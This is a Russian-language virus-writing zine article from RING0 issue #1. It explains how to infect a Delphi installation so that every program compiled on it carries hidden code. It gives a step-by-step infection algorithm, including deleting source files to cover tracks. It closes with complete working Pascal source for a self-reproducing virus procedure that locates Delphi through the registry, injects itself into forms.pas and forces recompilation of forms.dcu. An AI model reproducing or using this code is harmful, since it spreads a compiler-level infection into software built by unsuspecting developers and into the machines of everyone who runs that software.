/*-----------------------------------------------------------------------*/
/* R I N G 0, I S S U E # 1 */
/*-----------------------------------------------------------------------*/
ВНЕДРЕНИЕ В DELPHI: finalization v1.0
by Santa [SBVC]
Идея:
В любой проге на дельфях в начале каждого модуля есть такие строки:
uses Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, ComCtrls, ExtCtrls, Registry;
Ну или примерно такие. Они (эти строки) подключают к данному модулю
другие модули (Windows.pas, Messages.pas и т.д.) А каждый из этих
модулей (собственно и наш модуль тоже) выглядит так:
unit Unit1;
interface
uses Unit2, Unit3;
procedure proc1;
procedure proc2;
implementation
procedure proc1;
begin
DoSomething;
end;
procedure proc2;
begin
DoSomething;
end;
procedure InitProc1;
begin
DoSomething;
end;
procedure InitProc2;
begin
DoSomething;
end;
procedure UninitProc1;
begin
DoSomething;
end;
procedure UninitProc2;
begin
DoSomething;
end;
initialization
InitProc1;
InitProc2;
finalization
UninitProc1;
UninitProc2;
end.
Наибольший интерес представляют секции initialization и
finalization (не путать с секциями в pe exe). Все что находится после
слова initialization исполняется при старте программы, все что после
finalization при ее завершении. Т.е. мы можем взять к примеру
windows.pas и чего-нибудь подписать в секцию finalization
(initialization) и это дело будет исполняться каждый раз при
завершении (старте) ентой проги. Я даже скажу больше любой проги
скомпилированной при помощи дельфей на данной тачке. Но не все так
просто Borland (он же Inprise) для ускорения компиляции изобрел так
называемые Delphi Compiled Units (*.dcu файлы) и вместо windows.pas мы
имеем windows.dcu. Формат этих дкушников Borland вроде не публиковал,
судя по всему это обычные *.obj файлы с некоторыми усовершенствованиями.
Обойти это можно следующим образом: у дельфей есть директория под
названием Sources, там и хранятся *.pas файлы. Получаем алгоритм
заражения:
1. Найти нужный файл в Sources.
2. Скопировать в Lib.
3. Дописать в файл чего-нибудь этакое.
4. Удалить соответствующий *.dcu файл.
5. Когда он появиться вновь (т.е. когда компиляция уже произошла) удалить
*.pas файл, это нужно для заметания следов.
С этого момента можно считать что каждая прога сделанная в дельфях
несет в себе наш код, чего собственно все вирмейкеры и добиваются. Но
тут возникает другая проблема (которая не разрешима) - эту славную
директорию Sources имеют не все, не все же любители поковыряться в
сырцах. :( Есть и плюсы, т.к. формат *.dcu файлов не опубликован то
значит и найти в нем наш код будет не легко. :) Имеется еще одна
проблема - нужно написать такой код, который после своей компиляции мог
бы сгенерировать свой исходный текст. С обычными вирами все просто
копируй VirSize байт начиная с VirStart. В макро посуществу все делается
за нас т.к. нам доступен исходный текст как бы из вне. Решение всех
проблем приводится ниже, вставьте эту процедурку в свою прогу (не
забудьте ее где-нибудь вызвать), запустите ее один раз и посмотрите на
файл под названием forms.pas в директории Lib (точнее на его конец) там
будет (я надеюсь) процедура явно сотворенная не Borland'ом. Теперь лучше
всего закрыть дельфя и запустить их снова, создайте новое приложение и
нажмите F9, в папке Lib файл forms.pas исчезнет зато появится forms.dcu
:) Таперича компиляйте чего хотите и как хотите результат будет один -
тотальное заражение всего вами откомпилированного.
Да, чуть не забыл сделайте резервную копию forms.dcu... THE END
P.S. К статье прилагается готовая прога (final.rar), с ней надо
проделать выше описанную процедуру. Хотя можно и не проделывать -
имеется готовый экзэшник.
<-------------------------------- cut here ------------------------------------>
procedure Vir;
const
VirName = 'finalization';
min = 'Minor';
fin = VirName;
pname = 'UninitActiveApplication;';
pas = '\forms.pas';
dcu = '\forms.dcu';
del = 'Software\Borland\Delphi\';
var
hk: HKEY;
path: String;
l, t: Integer;
lst, p, w: TStringList;
v: Byte;
procedure Write(const s: String);
begin
p.Add(s);
w.Add('Write(' + QuotedStr(s) + ');');
end;
begin
for v := 3 to 8 do begin
try
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, PChar(del + Char(Byte(v) + Byte('0')) + '.0'), 0, 0, hk) = 0 then begin
l := MAX_PATH;
SetLength(path, l);
RegQueryValueEx(hk, 'RootDir', nil, nil, PByte(path), @l);
path := PChar(path);
if RegQueryValueEx(hk, min, nil, nil, nil, @l) <> 0 then begin
RegSetValueEx(hk, min, 0, REG_DWORD, @l, 4);
RegCloseKey(hk);
lst := TStringList.Create;
lst.LoadFromFile(path + '\source\vcl' + pas);
l := lst.Count - 1;
while (l <> -1) and not AnsiSameText(Trim(lst[l]), fin) do Dec(l);
if l = -1 then begin
l := lst.Count-1;
while not AnsiSameText(Trim(lst[l]), 'end.') do Dec(l);
Dec(l);
lst.Insert(l, pname);
lst.Insert(l, fin);
end
else
lst.Insert(l+1,pname);
t := lst.Count - 1;
while(t <> -1) and not AnsiSameText(Trim(lst[t]), 'initialization') do Dec(t);
if t = -1 then t := l;
p := TStringList.Create;
w := TStringList.Create;
Write('procedure UninitActiveApplication;');
Write('const VirName=''finalization'';min=''Minor'';fin=VirName;pname=''UninitActiveApplication;'';pas=''\forms.pas'';dcu=''\forms.dcu'';del=''Software\Borland\Delphi\'';');
Write('var hk:HKEY;path:String;l,t:Integer;lst,p,w:TStringList;v:Byte;');
Write('procedure Write(const s:String);begin p.Add(s);w.Add(''Write('' + QuotedStr(s) + '');'');end;');
Write('begin for v:=3 to 8 do begin try if RegOpenKeyEx(HKEY_LOCAL_MACHINE,PChar(del+Char(Byte(v)+Byte(''0''))+''.0''),0,0,hk)=0 then begin');
Write('l:=MAX_PATH;SetLength(path,l);RegQueryValueEx(hk,''RootDir'',nil,nil,PByte(path),@l);path:=PChar(path);');
Write('if RegQueryValueEx(hk,min,nil,nil,nil,@l)<>0 then begin');
Write('RegSetValueEx(hk,min,0,REG_DWORD,@l,4);RegCloseKey(hk);lst:=TStringList.Create;');
Write('lst.LoadFromFile(path+''\source\vcl''+pas);l:=lst.Count-1;');
Write('while(l<>-1)and not AnsiSameText(Trim(lst[l]),fin) do Dec(l);');
Write('if l=-1 then begin l:=lst.Count-1;while not AnsiSameText(Trim(lst[l]),''end.'') do Dec(l);');
Write('Dec(l);lst.Insert(l,pname);lst.Insert(l,fin);end else lst.Insert(l+1,pname);');
Write('t:=lst.Count-1;while(t<>-1)and not AnsiSameText(Trim(lst[t]),''initialization'') do Dec(t);');
Write('if t=-1 then t:=l;p:=TStringList.Create;w:=TStringList.Create;');
Write('for l:=p.Count-1 downto p.Count-6 do lst.Insert(t,p[l]);');
Write('for l:=w.Count-1 downto 0 do lst.Insert(t,w[l]);');
Write('for l:=p.Count-7 downto 0 do lst.Insert(t,p[l]);');
Write('lst.SaveToFile(path+''\lib''+pas);DeleteFile(path+''\lib''+dcu);lst.Free;p.Free;w.Free;end');
Write('else begin RegCloseKey(hk);if FileExists(path+''\lib''+dcu) then DeleteFile(path+''\lib''+pas);');
Write('end;end;except end;end;end;');
for l := p.Count - 1 downto p.Count - 6 do lst.Insert(t, p[l]);
for l := w.Count - 1 downto 0 do lst.Insert(t, w[l]);
for l := p.Count - 7 downto 0 do lst.Insert(t, p[l]);
lst.SaveToFile(path + '\lib' + pas);
DeleteFile(path + '\lib' + dcu);
lst.Free;
p.Free;
w.Free;
end
else begin
RegCloseKey(hk);
if FileExists(path + '\lib' + dcu) then DeleteFile(path + '\lib' + pas);
end;
end;
except
end;
end;
end;